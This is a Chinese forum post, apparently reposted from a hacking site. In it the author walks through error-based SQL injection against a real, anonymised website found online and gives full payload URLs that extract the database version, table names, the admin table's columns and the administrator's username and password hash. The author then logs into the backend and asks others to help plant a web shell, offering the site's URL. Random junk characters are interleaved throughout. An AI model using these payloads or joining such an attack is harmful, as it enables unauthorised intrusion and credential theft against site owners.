近一直在学习数据库方面的知识,一直在钻研PHP的一些高级注入语法,感觉比较的有意思。于是就在网上找有洞的网站练习手注。于是有了下文。
' B: v5 L7 G7 K$ Q: }首先找到网站后台,加了个admin,后台出来了
; @$ |- d0 C0 q: k* g" E+ W% }2 N% ]$ W% l$ @' ~! D0 Y5 s1 r
" p" y2 |: B+ p( \
然后看了下网站,发现貌似都是html静态网页,但是通过图片链接发现应该是伪静态,于是在后面加了个 ',报错了,初步判断可以注入1 H$ F! ?$ Y0 M: K/ d
http://www.myhack58.com/Article/UploadPic/2012-12/20121218145843714.jpg 从报错语句中我们可以判断出存在frame_board_conference 表,知道存在frame_board_conference,可以方便我们后面的注入。这里我用的是错误回显注入。 首先查下数据库相关信息。 www.xxx/modules/board/bd_view.html?id=conference&no=67+and+(select+count(*) from+frame_board_conference+group+by+concat(0x3a,concat(0x3a,database(),0x3a,version()),floor(rand(0)*2)))—
. y8 w5 r. ]+ v! h$ X! M' N/ W; R
2 j+ ^' I7 T0 e- }
3 X1 Z4 A: i! R% V* ]- |: {
! K& V; v% i5 ]; _4 h! `" O+ V8 A, L# ~1 O+ u( q6 o1 r, V
http://www.myhack58.com/Article/UploadPic/2012-12/20121218145846722.jpg
1 a4 [2 O D; o. j7 C- p: g3 G* I; k, `4 [1 l/ b# Z
, s# w. T' K3 K) l, F" G% c/ W2 R( x
1 x5 N) E" D% `; t" S- O
# S& K+ U; M/ N& T可以看到数据库版本为5.0.32,存在information_schema表,可以进一步的注入。 然后我们查表 http://xxx/modules/board/bd_view.html?id=conference&no=67+and+(select+count(*)+from+frame_board_conference+group+by+concat(0x3a,(select+substr(group_concat(table_name),1,150)from+information_schema.tables+where+table_schema=database()),0x3a,floor(rand(0)*2)))-- 得到管理员表段frame_administrator5 x! z9 H/ N3 z. H U- x
7 R- X6 F( j8 i
# i' x4 O! H& h: hhttp://www.myhack58.com/Article/UploadPic/2012-12/20121218145846695.jpg0 x; f" @# H, ]
& x ]: y; R2 V2 r T8 {! J- x7 i' p0 b/ B/ r4 y3 K1 K. \, S
查字段 http://www.xxx/modules/board/bd_view.html?id=conference&no=67+and+(select+count(*)+from+frame_board_conference+group+by+concat(0x3a,(select+substr(group_concat(column_name),1,150)from+information_schema.columns+where+table_name=0x6672616d655f61646d696e6973747261746f72),0x3a,floor(rand(0)*2)))--
+ n. ~/ F) ^: m3 B$ Z0 c$ D0 T* i1 u( d! A. |8 i
@; M/ |& B2 P
2 N& l8 j& n3 m9 c( U& `7 O ^ 得到userID,userPass字段 最后 http://xxx/modules/board/bd_view.html?id=conference&no=67+and+(select+count(*)+from+frame_board_conference+group+by+concat(0x3a,(select+substr(group_concat(userID,0x3a,userPass,0x0a),1,150)from+frame_administrator),0x3a,floor(rand(0)*2)))--
/ X) ?0 z6 b5 I+ m1 l* Q& ]% ~1 T- `7 j' c6 u
8 _2 @3 E3 R- u+ L
& x( S8 ` }3 f! N! Q 得到最终结果admin eb0a191797624dd3a48fa681d3061212 解密后成功进入后台,但是在获得shell的过程中出了点问题,可以穿php但是貌似无法解析,不知道什么原因,本人很菜,在这里希望大牛有兴趣的话帮忙拿下shell,感激不尽。Pm我,我把网址发给你。 |